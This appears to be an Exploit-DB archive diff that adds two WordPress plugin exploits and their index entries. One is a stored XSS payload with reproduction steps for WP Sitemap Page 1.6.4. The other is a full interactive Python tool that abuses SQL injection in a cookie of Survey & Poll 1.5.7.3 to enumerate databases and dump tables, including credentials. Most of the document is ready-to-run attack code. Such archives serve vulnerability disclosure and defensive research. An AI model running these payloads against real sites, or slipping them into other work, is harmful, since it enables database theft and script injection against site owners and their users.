DB: 2021-09-08

2 changes to exploits/shellcodes

WordPress Plugin WP Sitemap Page 1.6.4 - Stored Cross-Site Scripting (XSS)
WordPress Plugin Survey & Poll 1.5.7.3 - 'sss_params' SQL Injection (2)

exploits/php/webapps/50268.txt

@@ -0,0 +1,16 @@
+# Exploit Title: WordPress Plugin WP Sitemap Page 1.6.4 - Stored Cross-Site Scripting (XSS)
+# Date: 07/09/2021
+# Exploit Author: Nikhil Kapoor
+# Software Link: https://wordpress.org/plugins/wp-sitemap-page/
+# Version: 1.6.4
+# Category: Web Application
+# Tested on Windows
+
+How to Reproduce this Vulnerability:
+
+1. Install WordPress 5.8.0
+2. Install and activate WP Sitemap Page
+3. Navigate to Settings >> WP Sitemap Page >> Settings and enter the XSS payload into the "How to display the posts" Input field.
+4. Click Save Changes.
+5. You will observe that the payload successfully got stored into the database and when you are triggering the same functionality at that time JavaScript payload is executing successfully and we are getting a pop-up.
+6. Payload Used: </textarea><svg/onload=confirm('XSS')>

exploits/php/webapps/50269.py

@@ -0,0 +1,178 @@
+# Exploit Title: WordPress Plugin Survey & Poll 1.5.7.3 - 'sss_params' SQL Injection (2)
+# Date: 2021-09-07
+# Exploit Author: Mohin Paramasivam (Shad0wQu35t)
+# Vendor Homepage: http://modalsurvey.pantherius.com/
+# Software Link: https://downloads.wordpress.org/plugin/wp-survey-and-poll.zip
+# Version: 1.5.7.3
+# Tested on: MariaDB,MYSQL
+
+#!/usr/bin/python3
+
+import requests
+import re
+import warnings
+from bs4 import BeautifulSoup, CData
+import sys
+import argparse
+import os
+import time
+from termcolor import colored
+import validators
+
+#Install all the requirements
+
+"""
+pip3 install requests
+pip3 install bs4
+pip3 install argparse
+pip3 install termcolor
+pip3 install validators
+
+"""
+
+
+parser = argparse.ArgumentParser(description='WP Plugin Survey & Poll V1.5.7.3 SQL Injection (sss_params)')
+parser.add_argument('-u',help='Poll & Survey page URL')
+args = parser.parse_args()
+
+url = args.u
+
+
+if len(sys.argv) !=3:
+    parser.print_help(sys.stderr)
+    sys.exit()
+
+if not validators.url(url):
+	print(colored("\r\nEnter URL with http:// or https://\r\n",'red'))
+	parser.print_help(sys.stderr)
+	sys.exit()
+
+
+def currect_db_name():
+	payload= """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,database(),11#"]"""
+	inject(payload)
+
+
+def db_version():
+	payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"]"""
+	inject(payload)
+
+
+def hostname():
+	payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@hostname,11#"]"""
+	inject(payload)
+
+
+def current_user():
+	payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,user(),11#"]"""
+	inject(payload)
+
+
+def list_databases():
+	payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,group_concat(schema_name),11 from information_schema.schemata#"]"""
+	inject(payload)
+
+def list_tables_db():
+	db = input("\r\nDatabase : ")
+	payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,group_concat(table_name),11 from information_schema.tables where table_schema='%s'#"]""" %(db)
+	inject(payload)
+
+
+def list_columns_db():
+	db = input("\r\nDatabase : ")
+	table = input("Table : ")
+	payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,group_concat(column_name),11 from information_schema.columns where table_schema='%s' and table_name='%s'#"]""" %(db,table)
+	inject(payload)
+
+
+def dump_db():
+	db = input("\r\nDatabase: ")
+	table = input("Table: ")
+	column = input("Columns Eg: users,password : ")
+	dump = "%s.%s" %(db,table)
+	payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,group_concat(%s),11 from %s.%s#"]""" %(column,db,table)
+	inject(payload)
+
+
+def custom_payload():
+	payload = input("\r\nPayload : ")
+	inject(payload)
+
+def inject(inject_payload):
+
+	request = requests.Session()
+
+	cookies = {
+		    'wp_sap': inject_payload,
+
+		}
+	print("\r\n"+colored("Sending Payload :",'red')+" %s\r\n" %colored((inject_payload),'green'))
+	response = request.get(url,cookies=cookies)
+	warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
+	soup = BeautifulSoup(response.text,features="lxml")
+	cdata = soup.find(text=re.compile("CDATA"))
+	split_cdata = list(cdata.split(':'))
+	output = split_cdata[11]
+	print("\r\n"+colored("SQLI OUTPUT :",'red')+" %s\r\n" %colored((output),'green'))
+	time.sleep(1)
+	main()
+
+
+
+def main():
+	print ("Automated SQL Injector (wp-survey-and-poll)")
+	print ("Enter the respective number to select option")
+	print ("#EXAMPLE Option : 1\r\n")
+
+
+
+	print("Option 1 : Grab Database Version")
+	print("Option 2 : Get Current Database Name")
+	print("Option 3 : Get Hostname ")
+	print("Option 4 : Get Current User")
+	print("Option 5 : List All Databases")
+	print("Option 6 : List Tables From Database")
+	print("Option 7 : List Columns from Tables")
+	print("Option 8 : Dump Database")
+	print("Option 9 : Custom Payload")
+	print("Option 10 : Exit")
+
+
+	print("\r\n")
+	option_selected = str(input("Select Option : "))
+
+
+	if(option_selected=="1"):
+		db_version()
+
+	if(option_selected=="2"):
+		currect_db_name()
+
+	if(option_selected=="3"):
+		hostname()
+
+	if(option_selected=="4"):
+		current_user()
+
+	if(option_selected=="5"):
+		list_databases()
+
+	if(option_selected=="6"):
+		list_tables_db()
+
+	if(option_selected=="7"):
+		list_columns_db()
+
+	if(option_selected=="8"):
+		dump_db()
+
+	if(option_selected=="9"):
+		custom_payload()
+
+	if(option_selected=="10"):
+		sys.exit()
+
+	else:
+		main()
+
+main()

files_exploits.csv

@@ -44390,3 +44390,5 @@ id,file,description,date,author,type,platform,port
 50264,exploits/php/webapps/50264.py,"Patient Appointment Scheduler System 1.0 - Unauthenticated File Upload & Remote Code Execution (RCE)",1970-01-01,a-rey,webapps,php,
 50265,exploits/php/webapps/50265.py,"Patient Appointment Scheduler System 1.0 - Persistent/Stored XSS",1970-01-01,a-rey,webapps,php,
 50267,exploits/multiple/webapps/50267.txt,"Antminer Monitor 0.5.0 - Authentication Bypass",1970-01-01,Vulnz,webapps,multiple,
+50268,exploits/php/webapps/50268.txt,"WordPress Plugin WP Sitemap Page 1.6.4 - Stored Cross-Site Scripting (XSS)",1970-01-01,"Nikhil Kapoor",webapps,php,
+50269,exploits/php/webapps/50269.py,"WordPress Plugin Survey & Poll 1.5.7.3 - 'sss_params' SQL Injection (2)",1970-01-01,"Mohin Paramasivam",webapps,php,